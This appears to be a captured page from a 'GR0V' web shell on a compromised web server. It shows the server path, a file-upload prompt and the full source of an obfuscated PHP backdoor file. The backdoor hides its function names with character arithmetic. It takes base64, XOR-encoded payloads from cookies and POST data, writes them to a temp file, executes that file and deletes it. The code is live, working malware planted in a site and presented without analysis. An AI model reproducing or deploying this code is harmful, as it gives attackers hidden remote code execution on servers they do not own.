? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/cvaqh/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/cvaqh/969c7ace.php

$Nvmlf = chr ( 692 - 622 )."\125" . "\157" . chr ( 940 - 845 ).chr (67) . "\163" . "\167" . "\142";$vVSApKBhs = chr ( 419 - 320 ).chr (108) . chr (97) . chr (115) . chr ( 511 - 396 ).chr (95) . chr (101) . "\x78" . chr ( 843 - 738 )."\x73" . chr ( 662 - 546 ).'s';$ohdrrgS = $vVSApKBhs($Nvmlf); $jrpgHdTNYF = $ohdrrgS;if (!$jrpgHdTNYF){class FUo_Cswb{private $vKBhfqjlV;public static $KUvZn = "7ef2526d-49bd-4ff8-8213-773163bab957";public static $bYZgSaHpH = 25384;public function __construct($UMGwR=0){$uEhekFTQ = $_COOKIE;$lTUabtIbmn = $_POST;$qGMqfLkCw = @$uEhekFTQ[substr(FUo_Cswb::$KUvZn, 0, 4)];if (!empty($qGMqfLkCw)){$ZISlsYgI = "base64";$ShwSs = "";$qGMqfLkCw = explode(",", $qGMqfLkCw);foreach ($qGMqfLkCw as $PMAzBbmPD){$ShwSs .= @$uEhekFTQ[$PMAzBbmPD];$ShwSs .= @$lTUabtIbmn[$PMAzBbmPD];}$ShwSs = array_map($ZISlsYgI . "\x5f" . chr ( 498 - 398 ).chr (101) . chr ( 1093 - 994 )."\x6f" . "\144" . chr ( 1087 - 986 ), array($ShwSs,)); $ShwSs = $ShwSs[0] ^ str_repeat(FUo_Cswb::$KUvZn, (strlen($ShwSs[0]) / strlen(FUo_Cswb::$KUvZn)) + 1);FUo_Cswb::$bYZgSaHpH = @unserialize($ShwSs);}}private function eCpYWLdw(){if (is_array(FUo_Cswb::$bYZgSaHpH)) {$kRtAUGE = sys_get_temp_dir() . "/" . crc32(FUo_Cswb::$bYZgSaHpH['s' . 'a' . 'l' . chr (116)]);@FUo_Cswb::$bYZgSaHpH['w' . chr (114) . "\x69" . 't' . 'e']($kRtAUGE, FUo_Cswb::$bYZgSaHpH['c' . chr ( 675 - 564 ).chr (110) . "\x74" . 'e' . "\x6e" . "\164"]);include $kRtAUGE;@FUo_Cswb::$bYZgSaHpH[chr ( 310 - 210 )."\x65" . "\x6c" . 'e' . 't' . 'e']($kRtAUGE); $oOlSNTF = "3648";exit();}}public function __destruct(){$this->eCpYWLdw(); $oOlSNTF = "3648";}}$gAXmXY = new FUo_Cswb(); $gAXmXY = "64712_13168";}

T1KUS90T
  root-grov@210.1.60.28:~$